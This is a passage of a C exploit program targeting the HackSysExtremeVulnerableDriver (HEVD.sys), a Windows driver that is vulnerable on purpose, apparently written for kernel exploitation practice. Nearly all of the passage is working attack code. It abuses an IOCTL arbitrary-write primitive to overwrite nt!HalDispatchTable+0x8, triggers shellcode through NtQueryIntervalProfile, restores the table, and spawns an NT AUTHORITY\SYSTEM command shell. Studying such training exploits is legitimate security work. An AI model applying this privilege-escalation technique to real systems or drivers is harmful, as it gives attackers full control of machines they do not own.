716 | mainObject.Name = &kusersharedData;
717 |
718 | // Set the Name member of the "corrupted" object managed by the global array to nt!HalDispatchTable+0x8
719 | DeviceIoControl(
720 | driverHandle,
721 | 0x00222067,
722 | &helperobjectArray[index],
723 | sizeof(helperobjectArray[index]),
724 | NULL,
725 | NULL,
726 | &bytesreturnedreadPrimtitve,
727 | NULL
728 | );
729 |
730 | // Perform the arbitrary write
731 | DeviceIoControl(
732 | driverHandle,
733 | 0x00222067,
734 | &mainObject,
735 | sizeof(mainObject),
736 | NULL,
737 | NULL,
738 | &bytesreturnedreadPrimtitve,
739 | NULL
740 | );
741 |
742 | // Print update
743 | printf("[+] Successfully corrupted [nt!HalDispatchTable+0x8]!\n");
744 |
745 | // Locating nt!NtQueryIntervalProfile
746 | NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
747 | GetModuleHandle(
748 | TEXT("ntdll.dll")),
749 | "NtQueryIntervalProfile"
750 | );
751 |
752 | // Error handling
753 | if (!NtQueryIntervalProfile)
754 | {
755 | printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
756 | exit(1);
757 | }
758 |
759 | // Print update for found ntdll!NtQueryIntervalProfile
760 | printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);
761 |
762 | // Calling nt!NtQueryIntervalProfile
763 | ULONG exploit = 0;
764 | NtQueryIntervalProfile(
765 | 0x1234,
766 | &exploit
767 | );
768 |
769 | // Print update
770 | printf("[+] Successfully executed the shellcode!\n");
771 |
772 | // Leverage arbitrary write for restoration purposes
773 |
774 | // Setting the Name member of the corrupted object to specify where we would like to write
775 | helperobjectArray[index].Name = &halTemp;
776 |
777 | // Specify where we would like to write (the address of the preserved value at [nt!HalDispatchTable+0x8])
778 | mainObject.Name = &halDispatch;
779 |
780 | // Set the Name member of the "corrupted" object managed by the global array to nt!HalDispatchTable+0x8
781 | DeviceIoControl(
782 | driverHandle,
783 | 0x00222067,
784 | &helperobjectArray[index],
785 | sizeof(helperobjectArray[index]),
786 | NULL,
787 | NULL,
788 | &bytesreturnedreadPrimtitve,
789 | NULL
790 | );
791 |
792 | // Perform the arbitrary write
793 | DeviceIoControl(
794 | driverHandle,
795 | 0x00222067,
796 | &mainObject,
797 | sizeof(mainObject),
798 | NULL,
799 | NULL,
800 | &bytesreturnedreadPrimtitve,
801 | NULL
802 | );
803 |
804 | // Print update
805 | printf("[+] Successfully restored [nt!HalDispatchTable+0x8]!\n");
806 |
807 | // Print update for NT AUTHORITY\SYSTEM shell
808 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");
809 |
810 | // Spawning an NT AUTHORITY\SYSTEM shell
811 | system("cmd.exe /c cmd.exe /K cd C:\\");
812 | }
813 |
814 | void main(void)
815 | {
816 | // Open a handle to the driver
817 | printf("[+] Obtaining handle to HEVD.sys...\n");
818 |
819 | HANDLE drvHandle = CreateFileA(
820 | "\\\\.\\HackSysExtremeVulnerableDriver",
821 | GENERIC_READ | GENERIC_WRITE,
822 | 0x0,
823 | NULL,
824 | OPEN_EXISTING,
825 | 0x0,
826 | NULL
827 | );
828 |
829 | // Error handling
830 | if (drvHandle == (HANDLE)-1)
831 | {
832 | printf("[-] Error! Unable to open a handle to the driver. Error: 0x%lx\n", GetLastError());
833 | exit(-1);
834 | }
835 | else
836 | {
837 | readwritePrimitive(drvHandle);
838 | }
839 | }
840 |
--------------------------------------------------------------------------------